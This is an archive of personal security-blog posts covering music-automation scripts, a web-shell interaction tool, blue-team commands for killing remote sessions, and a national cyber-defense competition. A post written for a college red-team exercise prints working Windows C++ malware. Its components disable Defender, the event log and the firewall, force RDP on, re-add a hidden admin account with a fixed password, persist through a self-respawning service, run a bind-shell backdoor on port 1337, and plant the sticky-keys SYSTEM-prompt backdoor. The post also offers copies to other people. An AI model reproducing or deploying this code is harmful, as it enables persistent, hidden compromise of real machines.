❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdaywumb0in'

Automate ALL THE THINGS - rmGPMdupes.py

By: wumb0
23 March 2014 at 23:22

I recently decided to switch from Spotify Premium to Google Play Music Unlimited for a couple of reasons. The main one being the mobile app that each has to offer. A couple of months ago I decided that I wanted to pay for a music service because it would end up costing the equivalent of one album per month, which is way less than I actually bought. I wanted a service that had a big catalog, a good mobile app, and the ability to sync my local songs that were not in the service's database. The obvious first reaction choice was Spotify because I had been using it for free for a while and had actually paid for and used the Premium version on my iPhone previously. There was, on the other hand, Google Play Music Unlimited, which was made known to me via the Google Play Music app on my Galaxy S4 that I got in July. I had already known of Google Play music and had already uploaded around 10,000 of my songs to it, but had just recently seen the Unlimited service. The main turn off about Google Play Music unlimited at the time was the app. It did not allow you to store your downloaded tracks locally on the external SD card, only the internal one. The Spotify app did. So that's what I went with...

The Spotify app developed some problems over the time that I paid for the service. One of the major let downs was the need to sync local files from my computer, which wouldn't have been so much of a problem if the app didn't delete my local songs about once a week. The sync feature would not work on the RIT wifi so I had to sync it by other means (namely setting up a shared wireless connection from my laptop and having my phone join it to sync.) Another issue I had was the noise... Music would often glitch and skip while I was listening to it. This drives me NUTS.

About a week and a half ago I took another look at the Google Play Music app and to my surprise, found an option to store downloaded music on the external card. I immediately cancelled my Spotify Premium subscription and signed up for Google Play Music Unlimited.

So now the daunting task of moving my playlists over...

When I moved from iTunes to Spotify I used an online converter to import my playlists, and have made some since. Google Play Music Manager automatically updates playlists from iTunes as they are made. The problem with this is that these playlists sometimes (most of the time) contain duplicate songs. This is annoying as I like my playlists nice and organized with no duplicates.

So I found myself going through and deleting all of the duplicates manually for about 5 playlists... and then I said to myself. "there has to be a way to automate this."

Sure enough, Googling "google play music api" resulted in the Unofficial Google Music API by Simon Weber written in python.

I am sort of new to python at this point but I am actively learning it by taking on small projects such as this. I am also reading the "Violent Python" and "Grey Hat Python" books to help me apply the language to my profession.

So here it is... rmGPMdupes.py:Β https://github.com/jgeigerm/rmGPMdupes

It took about 4 hours to get to know the API and fix bugs but it works and I can use my Google Play Music player without going crazy due to the duplicate songs in my playlists!

Now back to moving playlists from Spotify to Play Music... grumble

Making it Rain Shells, Web Shells - shell_interact.pl

By: wumb0
24 March 2014 at 22:54

shell_interact is a project I have been working on since the new year and it is just finally starting to shape up into a nice little tool. PHP backdoor shells can be fun, especially when the permissions on the box have been messed with (i.e. www-data is allowed sudo with no password, /etc/shadow has wide open permissions, etc.). The downside is that you have to type each command into the URL bar of the browser. Kind of annoying. So I started on a solution.

Perl is one of my stronger languages. I love regex and all of the built in functions it has. So I decided to use it for this project, having just come out of the perl class at RIT (with the notorious Dan Kennedy).

The script utilizes curl to search for the shell and allow the user to enter commands in a bash like environment if one is found. All of the input is URL encoded so the activity from the program doesn't look as suspicious on the target server. If you enter a command that expects more input (such as vim) and curl hangs, using control-c will terminate curl and return you to the web shell prompt. Stderr is redirected to stdin for every command to allow you to see errors without having to do it manually. It also enables the cd command by changing directories before each user entered command is run. It's pretty nifty, and the code is mostly commented.

You can find the code on my GitHub, you can read more about the features/bugs there:Β https://github.com/jgeigerm/web_shell

shell_interact.pl

More Automation With Music - spotify2playmusic.py

By: wumb0
26 March 2014 at 06:25

I spent about 15 hours today writing another tool in python that moves Spotify playlists over to Play Music... ~300 lines later, it is done.

It is unique because it does not just do exact song matching, it does matching based on similarities in strings using the levenshtein calculation. The number returned by the levenshtein function represents how different (or not different) the two strings that were fed into the function are. A lower number means they are similar.

Anyway, here it is; it's late so I'm not going to write much more on it. All of the how-to is on my GitHub:Β https://github.com/jgeigerm/spotify2playmusic

Screen Shot 2014-03-26 at 3.27.01 AM

Linux Processes (and killing remote connections) Without ps

By: wumb0
9 April 2014 at 15:34

The other day I was posed with a unique problem: find the PID's of remote connections without the ps command. I was in a practice red team/blue team scenario on the blue team side where I was letting the attacker in on purpose and killing their connection from time to time. This exercise was to allow people who don't have much experience on red team the chance to get in and mess with things. We even gave them a head start, which was about 20 minutes on the boxes making them vulnerable before the blue team got to see/touch them. When I sat down a few things had been changed: aliases in bash_profile, cron tasks, web shells (it was a web box), and some other nonsense. I quickly fixed everything and put up my iptables rules. A quick issue of the w command assured me that nobody was in.

I ended up getting bored and creating a NOPASSWD sudo account bob:bob for people to own me with. One person decided to log in and try their hand at ruining my box. I made it a point to kill their connection every so often using w to figure out the pts they were on, ps aux | grep pts/x (x being their session number) to figure out the process ID of their login shell, and then kill -9 to finally kick them off.

The person attacking me saw that I kept killing their connection so they deleted the ps command. I was left helpless in trying to figure out what processes they were running. Of course there are two fairly obvious solutions, one that I thought of and one that I didn't at the time. I thought to reinstall the ps binary with yum install --reinstall coreutils but there was no internet in the lab I was in so that wasn't an option. I spent my time trying to figure out one liners to kill remote connections without using ps...

The first method I thought up was using the /proc directory, as all of the processes are in there by process ID. I started exploring all of the options the find command had to offer. Since the environ file within processes' directories listed the the variable TTY I had a place to start. Here is what I came up with:

find /proc -maxdepth 2 -name environ -exec grep /dev/pts {} \; | cut -d/ -f3 | xargs kill -9
  • find - the find command (use `man find` for details, this command is very powerful)
  • /proc - the directory that find looks in
  • -maxdepth 2 - Tells find to search at the maximum two directories deep. This is done because the environ file is located deeper in processes' directory but is the same file. We only want one match.
  • -name environ - Specifies the name of the file we are looking for. In this case it is environ.
  • -exec grep /dev/pts {} \\; - Find executes the command `grep /dev/pts` on each file found. The `{} \;` is just part of the syntax
  • cut -d/ -f3 - takes the output of the find command and extracts the PID from it (the find command will output "Binary file /proc/<PID>/environ matches" so we are finding the third field (-f3) delimited by / (-d/), which is the PID)
  • xargs kill -9 - takes in the PIDs as arguments to kill and force kills the process

One problem with this method is that on some distributions (such as CentOS) some sessions that are local are listed as pts sessions, so running the w command to check your session is a good idea before you run this. If you are running under a pts the command would look something like this:

find /proc -maxdepth 2 -name environ -exec sh -c 'grep -v /dev/pts $0 | grep -av /pts/<strong>#</strong> &gt;/dev/null' {} \; -print | cut -d/ -f3 | xargs kill -9
  • find - the find command (use `man find` for details, this command is very powerful)
  • /proc - the directory that find looks in
  • -maxdepth 2 - Tells find to search at the maximum two directories deep. This is done because the environ file is located deeper in processes' directory but is the same file. We only want one match.
  • -name environ - Specifies the name of the file we are looking for. In this case it is environ.
  • -exec sh -c 'grep -a /dev/pts $0 \| grep -av /pts/# >/dev/null' {} \\; - Find executes the command `grep -a /dev/pts \| grep -av /pts/#` on each file found. The `{} \\;` is just part of the syntax. In this case the "#" is the pts you are on. It will be grep-ed out of the output, therefore not showing in the -print result.
  • -print - prints any files that have output when run through the -exec portion.
  • cut -d/ -f3 - takes the output of the find command and extracts the PID from it (the find command will output "/proc/<PID>/environ" so we are finding the third field (-f3) delimited by / (-d/), which is the PID)
  • xargs kill -9 - takes in the PIDs as arguments to kill and force kills the process

The other route that was brought to my attention was through netstat to kill remote connections by pid. This is arguably more effective than the one above.

netstat -apunt | grep STAB | awk '{print $7}' | cut -d/ -f1 | xargs kill -9
  • netstat -apunt - Prints active connections.
  • grep STAB - Picks established connections out of the output of netstat
  • awk '{print $7}' - prints "<PID>/<PTS #>", which is the 7th field in the output of netstat.
  • cut -d/ -f1 - takes "<PID>/<PTS #>" and extracts the PID from it
  • xargs kill -9 - takes in the PIDs as arguments to kill and force kills the process

This got me thinking on how to kill backdoors such as the b(l)ackhole backdoor. Processes that run any type of shell directly are probably malicious. I have found this in my tests. To find active backdoors I tried the following:

find /proc -maxdepth 2 -name cmdline -exec egrep "/bin/[a-z]+?sh" {} \; | cut -d/ -f3 | xargs kill -9
  • find - the find command (use `man find` for details, this command is very powerful)
  • /proc - the directory that find looks in
  • -maxdepth 2 - Tells find to search at the maximum two directories deep. This is done because the cmdline file is located deeper in processes' directory but is the same file. We only want one match.
  • -name cmdline - Specifies the name of the file we are looking for. In this case it is cmdline.
  • -exec egrep "/bin/[a-z]+?sh" {} \\; - Find executes the command `egrep "/bin/[a-z]+?sh"` on each file found. This will find any reference to a shell launched. The `{} \\;` is just part of the syntax.
  • cut -d/ -f3 - takes the output of the find command and extracts the PID from it (the find command will output "Binary file /proc/<PID>/environ matches" so we are finding the third field (-f3) delimited by / (-d/), which is the PID)
  • xargs kill -9 - takes in the PIDs as arguments to kill and force kills the process

Additionally you can use netstat to monitor established connections.

Some other approaches are to use lsof and who to figure out PIDs. The lsof command is used to figure out what programs have what files open. It has a ton of options but with just a few of them it can be very easy to see what is being accessed. The options we care about allow us to see what files are open, who opened them, and what connections are being made. It looks something like this: (thanks Luke!)

lsof -nPi

n - Ignore host names P - Do not convert port numbers to port names i - see internet connections files are making

What is unique about this is that it will show what files are listening or have established connections. It becomes much easier to see if there is some sort of backdoor listening and what it is called.

For the who command I use the -u option and present another method of killing things:

who -u | grep pts | awk '{print $6}' | xargs kill

Again here keep in mind that some operating system's window manager list as the lowest pts, so grep -v that before you go and kill all connections.

Controlling Google Play Music Globally On Mac

By: wumb0
14 April 2014 at 03:06

I spent a couple of hours today figuring out a way to control Google Play music within Chrome using the media keys on my Macbook. I'm using three different applescripts that run javascript in the Play Music page to do the desired action. Here's the base script:

on run
     tell application "Google Chrome"
         set allWins to every window
         set allTabs to {}
         repeat with currWin in allWins
             set allTabs to allTabs &amp; every tab of currWin
         end repeat
         repeat with currTab in allTabs
             try
                 if (title of currTab as string) ends with "Play Music" then set musicTab to currTab
             end try
         end repeat
         tell musicTab to execute javascript "document.querySelector('[data-id=\\"play-pause\\"]').click();" -- change play-pause to forward or rewind for the other two scripts
     end tell
end run

From here I used BetterTouchTool to launch the script respective to the action I wanted when the corresponding button was pressed. OSX handles media keys very strangely, though. So I am currently binding to shift-function key, with the function keys being below the media buttons. The whole key combo to play-pause ends up being fn-shift-play/pause on my keyboard. Nifty, and it doesn't even need to bring the window to the front.

Source: http://hints.macworld.com/comment.php?mode=view&cid=128504

Writing Me Some Windows Malware

By: wumb0
13 May 2014 at 02:23

This year I had the pleasure of being part of the red and white teams for the first RIT Competitive Cybersecurity Club (RC3)Β Hacking Competition. The competition was set up similar to ISTS or CCDC with blue teams defending, a white team that sets up, and a red team that tries to hack the blue teams. This was my first actual red team experience in a competition scenario. I was tasked to take on Windows with the other Windows guy on the CCDC team. So naturally I spent the week writing some intense malware to challenge the blue teams. This post explains a bit of what I did and some of the clever tricks I used to keep myself hidden. This malware was designed to run on Windows Vista and up and was written in C++ totalling about 2400 lines. All written in Visual Studio 2013. It was nice to get back to C++ and the Windows API as I haven't done much C or C++ since Client Server Programming with Kennedy in the Spring. It was a bit frustrating at times, especially because I didn't understand unicode compatibility until about halfway through writing this (THREE HOURS to prepend and append a quote at either end of a string...).

Screen Shot 2014-05-12 at 11.36.11 PM

Malware Functions (tl;dr, implementations below!):

  • Shut security center off
  • Shut event log off
  • Shut Windows Defender off
  • Shut off firewall
    • Turn it off
    • Set the default policy to allowinbound,allowoutbound
    • Take an existing rule from both the in and out chains, take their names and descriptions, delete the originals, and re-add them as allow all rules
    • Take any existing block rules and make them allow rules
  • Turn on RDP constantly
  • Add and re-add a user called limecat as admin
  • Create a service that spawns the malware on boot and re-spawns it if it is killed
    • If the service is killed/disabled/uninstalled then the main program spawns it back
  • Multi-threaded, multi-connection backdoor command shell
  • Sticky keys command prompt
  • Prevented the user from launching procexp.exe and ProcessHacker.exe

More info and code after the jump. [[more]]

Shutting of Security Center, Event Log, and Windows Defender

Obviously I don't want Security Center yelling at the user when the firewall gets shut off so I thought why not just shut it off real quick! Amongst the chaos of the competition beginning I figured nobody would even notice the popup for it turning off. I didn't want anyone telling what I was modifying so I shut event log off. I also took care of Windows Defender as good measure. It just so happens that the MSDN has some sample code for controlling services, so I took advantage of that and made the Service class that allowed me to interact with existing services as well as make new ones with a constructor. Each Service object represented one service on the machine and could be acted upon in various ways. Below is a code sample of me turning those services off.
//Initialize Service object and shut off Windows Defender
Service WinDefender(L"WinDefender");
if (WinDefender.getSvcRunning()){
    if (!WinDefender.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!WinDefender.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

//Initialize Service object and shut off Event Log
Service eventlog(L"eventlog");
if (eventlog.getSvcRunning()){
    if (!eventlog.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!eventlog.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

//Initialize Service object and shut off Security Center
Service wscsvc(L"wscsvc");
if (wscsvc.getSvcRunning()){
    if (!wscsvc.DoStopSvc()){
        cout << "Service stop failed" << endl;
    }
    if (!wscsvc.DoDisableSvc()){
        cout << "Service disable failed" << endl;
    }
}

More info: http://msdn.microsoft.com/en-us/library/windows/desktop/bb540476(v=vs.85).aspx

Shutting Off The Firewall

This was the original intent of this project: to mess upΒ the firewall so bad that it would never be safe to use. Again, I took code from the MSDN site and built it into the Firewall class. Initializing a Firewall object would open the firewall for reading and editing via the COM. I could then act upon it as an object. I started my malicious intentions by obviously turning it off. I spawn off a thread in main to check if the firewall has been enabled and if it has then turn it back off, of course. Inconvenient. Additionally I set the default firewall policy to allow all incoming and outgoing traffic, so even if they do manage to get rid of my malware and turn their firewall back on I should still be able to get access. These first two actions usually raise red flags in Security Center, but that's off so nothing to worry about. To kill it even further I steal two rules, one from the in, and one from the out chains, take their names and descriptions, delete them, and replace them with allow all rules with the same name and description. The one flaw I saw in all of this is a user adding block rules; I fix this by changing all of the block rules to allow rules! Needless to say the teams that had this were in for a bad time. Code below:

Replacing a rule

//Replace the rule with an allow all rule with the same name, description, and direction as the input rule
void Firewall::replaceRule(INetFwRule* repRule){
    BSTR ruleName = NULL;
    INetFwRule* pNewRule = NULL;
    long profileBitmask = 0;
    NET_FW_RULE_DIRECTION ruleDir;
    BSTR ruleDesc = NULL;

    if (repRule != NULL){
        //get name, description, and direction, then delete the original
        handleStatus = repRule->get_Direction(&ruleDir);
        handleStatus = repRule->get_Name(&ruleName);
        handleStatus = repRule->get_Description(&ruleDesc);
        ruleSet->Remove(ruleName);
    }else{
        //Default if there are no rules
        ruleName = SysAllocString(L"Windows RPC Helper");
        ruleName = SysAllocString(L"Allows the Windows Remote Procedure Call Helper through the firewall.");
    }
    //Specify all profiles
    firewallPolicy->get_CurrentProfileTypes(&profileBitmask);
    //Make a new rule
    handleStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pNewRule);

    //Set rule properties and add the rule
    pNewRule->put_Action(NET_FW_ACTION_ALLOW);
    pNewRule->put_Direction(ruleDir);
    pNewRule->put_Enabled(VARIANT_TRUE);
    pNewRule->put_Name(ruleName);
    pNewRule->put_Description(ruleDesc);
    pNewRule->put_Profiles(profileBitmask);
    ruleSet->Add(pNewRule);

    //Cleanup
    SysFreeString(ruleName);
    SysFreeString(ruleDesc);
    pNewRule->Release();
}

Changing all block rules to allow rule

void Firewall::blockToAllow(){
    NET_FW_ACTION ruleAction;
    //Loop through all in rules and change the block ones to allow
    for (vector<INetFwRule*>::iterator rule = inRules.begin(); rule != inRules.end(); rule++){
        (*rule)->get_Action(&ruleAction);
        if (ruleAction == NET_FW_ACTION_BLOCK){
            (*rule)->put_Action(NET_FW_ACTION_ALLOW);
        }
    }
    //Loop through all out rules and change the block ones to allow
    for (vector<INetFwRule*>::iterator rule = outRules.begin(); rule != outRules.end(); rule++){
        (*rule)->get_Action(&ruleAction);
        if (ruleAction == NET_FW_ACTION_BLOCK){
            (*rule)->put_Action(NET_FW_ACTION_ALLOW);
        }
    }
}

Turning the firewall off

void Firewall::firewallOff(){
    //Disable firewall for all profiles
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PUBLIC, FALSE);
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_DOMAIN, FALSE);
    handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PRIVATE, FALSE);
}
</pre>

And my favorite:
<pre class="lang:cpp start-line:80 decode:1 nums:true" >
void Firewall::ownFirewall(){
    firewallOff();
    setDefaultAllowPolicy();
    replaceRule(get_randomRule("in"));
    replaceRule(get_randomRule("out"));
    blockToAllow();
}

This firewall is mine!

Implementing the nightmare in main:

    //initialize firewall object and rules
    Firewall netshFirewall;
    if (SUCCEEDED(netshFirewall.get_handleStatus()))
        netshFirewall.populate_ruleSet();

    //This firewall is mine.
    if (SUCCEEDED(netshFirewall.get_handleStatus())){
        netshFirewall.ownFirewall();

More info: http://msdn.microsoft.com/en-us/library/windows/desktop/ff956128(v=vs.85).aspx

Turning RDP On Constantly

Why use the shell if you can just remote in via the Remote Desktop Protocol (RDP) and own the box with a full admin account? That was the purpose of this part of the malware. It was also to infuriate the victim. This is as simple as spawning a thread to check if the registry key "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" has a value "fDenyTSConnections" set to 0. If not, set it to 0, enabling RDP, then check again in four seconds. Interacting with the registry via Windows API is pretty sketchy:

    HKEY rdpKey;
    DWORD rdpVal[MAX_PATH];
    DWORD lpd = MAX_PATH;
    DWORD dwType = REG_DWORD;
    //enable RDP forever
    while (1){
        DWORD newVal = 0;
        //open the key
        if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server", 0, KEY_ALL_ACCESS, &rdpKey) != ERROR_SUCCESS)
            cout << "Could not open RDP registry key\\n";
        else{
            //query the value in fDenyTSConnections
            if (RegQueryValueEx(rdpKey, L"fDenyTSConnections", NULL, &dwType, (LPBYTE)rdpVal, &lpd) != ERROR_SUCCESS){
                if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
                    cout << "Failed to set RDP key" << endl;
                }
            }
            else{
                if (rdpVal[0] != (char)0){
                    //set it back to 0!
                    if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
                        cout << "Failed to set RDP key" << endl;
                    }
                }
            }
        }
        RegCloseKey(rdpKey);
        Sleep(4000);
        if (is_ending)
            break;
    }

More info: http://msdn.microsoft.com/en-us/library/ms724256%28VS.85%29.aspx

User Adding and Re-Adding

This one was a must, we always need a user to get in with in case we get locked out. This was fun because it kept coming back. Yet another thread checking for the existence of the user "limecat" and adding it if it didn't exist every thirty seconds or so. Basically the code below shows the re-adding part, the checking was a whole other story that I'm keeping to myself.

    USER_INFO_1               user_info;
    LPWSTR                    lpszPrimaryDC = NULL;
    NET_API_STATUS            err = 0;
    DWORD                     parm_err = 0;

    //set new user attributes
    LPWSTR lpUser = L"limecat";
    LPWSTR lpPass = L"lolcat1!";
    user_info.usri1_name = lpUser;
    user_info.usri1_password = lpPass;
    user_info.usri1_priv = USER_PRIV_USER;
    user_info.usri1_home_dir = TEXT("");
    user_info.usri1_comment = TEXT("");
    user_info.usri1_flags = UF_SCRIPT \| UF_PASSWD_CANT_CHANGE \| UF_PASSWD_NOTREQD;
    user_info.usri1_script_path = TEXT("");

    //add the user if they don't exist
    if (!userExists){
        err = NetUserAdd(lpszPrimaryDC,    // PDC name 
            1,                         // level 
            (LPBYTE)&user_info,        // input buffer 
            &parm_err);                // parameter in error 

        switch (err)
        {
        case 0:
            printf("User successfully created.\\n");
            break;
        case NERR_UserExists:
            printf("User already exists.\\n");
            err = 0;
            break;
        case ERROR_INVALID_PARAMETER:
            printf("Invalid parameter error adding user; parameter index = %d\\n", parm_err);
            NetApiBufferFree(lpszPrimaryDC);
            break;
        default:
            printf("Error adding user: %d\\n", err);
            NetApiBufferFree(lpszPrimaryDC);
        }
    }

The MSDN has a ton of functions pertaining to users/accounts/groups/permissions/etc. here: http://msdn.microsoft.com/en-us/library/aa370649%28VS.85%29.aspx

Creating a Malicious Service

This was my favorite part. Even if I named my process something convincing like lsass or wininit I still would be SOL if the victim found and killed the process. So I made a service that spawned another instance when the currently running one died. This also allowed for persistence across reboots as the service was set to automatic start. This was nice because I did not have to use the classic persistence run key at "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" that everyone looks in and autoruns finds. In this case everything my malware put in registry was not detected by autoruns. Here I use the other constructor to the Service class in order to create and install the new service: (a bit messy, but it works)

    //create the service and start it
    Service malSvc(L"malSvc", L"C:\\\\path\\\\to\\\\service", SERVICE_AUTO_START, SERVICE_WIN32_OWN_PROCESS, L"Malicious Service");
    if (!malSvc.initFail){ //if it fails then it probably already exists
            malSvc.DoStartSvc();
            malSvc.setAutoStart();
    }else{
        //load up the already existing service and enable/start it, plus set auto start
        Service existingMalSvc(L"malSvc");
        if (!existingMalSvc.getSvcEnabled()){
            existingMalSvc.DoEnableSvc();
            existingMalSvc.DoStartSvc();
            existingMalSvc.setAutoStart();
        }else if (!existingMalSvc.getSvcRunning()){
            existingMalSvc.DoStartSvc();
            existingMalSvc.setAutoStart();
        }
    }

The service is awesome because it allowed me to orphan processes in Windows, which it turns out is really hard/impossible otherwise. Services are the children of services.exe. We can use this to our advantage. Here is how my malware works when threatened:

Kill main malware -> service re-spawns it (as child) -> malware stops service, orphaning itself -> malware starts service, maintaining persistence

I think this is pretty clever!

It also works the other way too but this time with less effort, as the main malware has a thread checking if the service is running, if not then it restarts the service. I was able to get this combo to the point where even pskill-ing both of the processes at the same time would not work at stopping them. Scary stuff.

Coding a basic Windows service: http://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus

Backdoor Command Prompt

This was my favorite part to program. I took a single-threaded, single-connection Windows backdoor command prompt with global variables and made it into a non-blocking, multi-threaded, multi-connection backdoor. The original code can be found here. One of the problems I ran into was that sockets are, by default, blocking. This means that the accept function would hang until a connection was received. Not very friendly to a nice shutdown while testing, so for my own interest I looked into ways to get around this. I came across two methods, one was change the socket into a non blocking socket and constantly check it, and the other was using the select function. The former option would take up a lot more of the CPU than the latter so that is the one I went with. Basically what select does is it takes the listening socket as an argument and if anything is received it returns 1, if nothing is received after a timeout value then it returns 0 (on error -1). This is useful so when there is a connection we can pass the connection to the accept function and spawn a connection thread and if there is no activity we can do something else (like check if the program is exiting). Check it out:

DWORD WINAPI backdoor() //the main function
{
    //signal handling
    signal(SIGINT, sigHandler);
    signal(SIGTERM, sigHandler);
    signal(SIGABRT, sigHandler);

    //select function timeout values
    struct timeval tv;
    tv.tv_sec = 5;
    tv.tv_usec = 0;

    fd_set master;    // master file descriptor list
    fd_set read_fds;  // temp file descriptor list for select()
    int fdmax;        // maximum file descriptor number

    FD_ZERO(&master);    // clear the master and temp sets
    FD_ZERO(&read_fds);

    int rc = 1;

    int port = 1337; //port is going to keep the portnumber
    SOCKET locsock, remsock;  //the sockets we are going to need
    SOCKADDR_IN sinloc; //the structures needed for our sockets
    WSADATA wsadata; //wsadata

    //set listen port
    port = 1337;
    //tell windows we want to use sockets
    WSAStartup(MAKEWORD(1,1), &wsadata);
    //create socket
    locsock = socket(AF_INET, SOCK_STREAM, 0);
    //fill structure
    sinloc.sin_family = AF_INET;
    sinloc.sin_addr.s_addr = INADDR_ANY;
    sinloc.sin_port = htons(port);
    while (1){
        //bind the socket to the specified port
        SOCKET tempsock = locsock;
        if (bind(locsock, (SOCKADDR*)&sinloc, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
        {
            printf("bind error");
            ExitThread(0);
        }
        //listen on the specified socket
        if (listen(locsock, 10) == SOCKET_ERROR)
        {
            WSACleanup();
            printf("Error listening socket.");
            break;
        }

        // add the listener to the master set
        FD_SET(locsock, &master);

        // keep track of the biggest file descriptor
        fdmax = locsock; //so far, it's this one

        //infinite loop here to keep the program listening
        while (1)
        {
            remsock = SOCKET_ERROR;
            while (remsock == SOCKET_ERROR)
            {
                read_fds = master; // copy master set
                rc = select(fdmax + 1, &read_fds, NULL, NULL, &tv); //here we use select to not hold up the program while waiting for connections
                if (rc == -1) {
                    perror("select");
                    break;
                }
                else if (rc > 0){
                    //accept connection to our program
                    remsock = accept(locsock, NULL, NULL);
                    if (remsock == INVALID_SOCKET)
                    {
                        //cleanup and exit program
                        WSACleanup();
                        printf("Error accepting socket.");
                        break;
                    }
                    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CommandPrompt, (void *)&remsock, 0, NULL); //start connection handling thread
                    Sleep(200);
                }
                if (is_ending){
                    closesocket(remsock);
                    ExitThread(0);
                }
            }
        }
    }
    ExitThread(0);
}

If you want the full code (modified slightly from this) and the handler thread then just ask!

Sticky Keys Prompt and Preventing Users from Opening Certain Processes

This was an idea from Mubix's malware and it's pretty clever. Constantly enabling RDP and having the sticky keys command prompt is a deadly combo, as you can call up a command prompt with NT AUTHORITY/SYSTEM privileges from the login screen and do whatever you want (create users, shut things down, change passwords, etc.) This was relatively easy as I just had to edit a registry key. Again, sketchy code:

    HKEY sethcKey;
    DWORD lpd = MAX_PATH;
    DWORD szType = REG_SZ;

    //Sticky keys prompt
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\sethc.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &sethcKey, NULL != ERROR_SUCCESS)){
        cout << "Sethc Key not created successfully\\n";
    }else{
        if (RegSetValueEx(sethcKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\""), lpd) != ERROR_SUCCESS){
            cout << "Failed to set sethc key" << endl;
        }
    }
    RegCloseKey(sethcKey);
</pre>

So there's that. 

This can also be used to block programs from starting by name. The examples I use are Process Explorer and Process Hacker. Here's one: 
<pre class="lang:cpp startline:463 decode:1 nums:true" >

    //Stop process explorer
    if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\procexp.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &procKey, NULL != ERROR_SUCCESS)){
        cout << "procexp key not created successfully\\n";
    }
    else{
        if (RegSetValueEx(procKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\rundll32.exe\\""), lpd) != ERROR_SUCCESS){
            cout << "Failed to set procexp key" << endl;
        }
    }
    RegCloseKey(procKey);

This will open rundll32.exe when the victim tries to open procexp.exe, the standard name for Process Explorer in the Sysinternals Suite. With no arguments rundll32.exe does nothing, and that's what we want. The quick fix to this is to rename the executable, but who would really think to do that?

I spent a lot of time on this. I hope you enjoyed reading about it and my solutions to problems I was having. For obvious reasons I am not going to release the full source code, but feel free to ask me for a copy of this malware if you are red teaming and want something advance AND persistent!

RNCCDC

By: wumb0
25 May 2014 at 02:18

Last of Us

This year I had the honor of competing on the Collegiate Cyber Defense Competition (CCDC) team for RIT. For those of you unfamiliar with the CCDC it is the largest collegiate cyber security competition in the entire country. Over 180 schools competed in qualifying competitions, 10 from each of the 10 regions competed and the winner from each region had the chance to compete in the National CCDC for the Alamo Cup. The competition consists of three main teams: Β blue, red, and white. The blue teams are teams of eight students from a school that try to secure and defend systems they are given during the competition. The systems they are given have critical services to maintain such as email or DNS and also are bullet ridden with security flaws. At the same time they are also responsible for injects, or business tasks such as set up a VPN or central logging. The red team is a group of security professionals that try to hack into the blue teams' systems and disrupt their services. Blue teams are responsible for detecting and reporting red team activity in the form of incident response reports. The white team is the team that sets up the competition, designs the systems that are used in the competition, and monitor teams as they defend their networks and complete injects. Qualifying events are usually around 8 hours long, regionals are usually two or three days, and finally nationals consists of two days.

For the past couple of years RIT has won the North East Collegiate Cyber Defense Competition (NECCDC) and gone onto nationals. This year was no exception. I would go into more detail about that but this post is mainly focussed on nationals. Last year was the same, except the team won the national championship, so the team this year had quite a name to live up to.

Over the past few months I have gotten to know each and every one of my team members. They are honestly some of the smartest and most driven people I have ever met. We practiced and competed for months before the Raytheon National Collegiate Cyber Defense Competition (RNCCDC) of this year in San Antonio, Texas.

Our time practicing involved studying multiple OSs, securing them, learning to run services on them, detecting and stopping attacks, and preparing for the worst. Having heard all about the competition from members of the team that were there last year I was both nervous and excited.

We had no idea what we were in for...

[[more]]

Our flight to Texas was on a Thursday with the first day of competition being Friday, a second day on Saturday, and then sponsor talks and an awards lunch on Sunday. We had no idea what we were in for when we woke up on Thursday. Last year the director of the competition send out the team packet on the Tuesday before with details about the infrastructure we would be running as well as services that were scored. This year we got it on that Thursday...

Screen Shot 2014-05-11 at 9.02.56 PM
The RNCCDC topology.

They were holding us responsible forΒ twenty twoΒ systems (excluding networking devices) that includedΒ fourteenΒ scored services: Β web shop , web ticketing system, web blog, cloud DNS, internal DNS, mail (POP3, SMTP), SSH, Minecraft, Unreal Tournament, Medal of Honor, Quake II, Ventrilo, and Teamspeak. We were running a gaming company called Warp Core Gaming. This was a big jump from the eight systems and seven scored services we had at regionals.

team room
Our team room
Screen Shot 2014-05-11 at 9.03.06 PM
Running a gaming company called Warp Core Gaming

We knew we were going to get a large amount of systems but we thought there would be services that we knew how to manage completely. The challenge this year was to manage the games and chat servers in the cloud.

Despite getting second place in the main competition Bryan and I ended up teaming up with a couple of red teamers (Mubix and Egypt) to win the king-of-the-hill style competition that took place after day two called Panoply. We ended up taking first in that thanks to Bryan's scripts that he wrote for the RC3 competition.

Panoply team
From left to right: Egypt, Myself, Bryan, Mubix

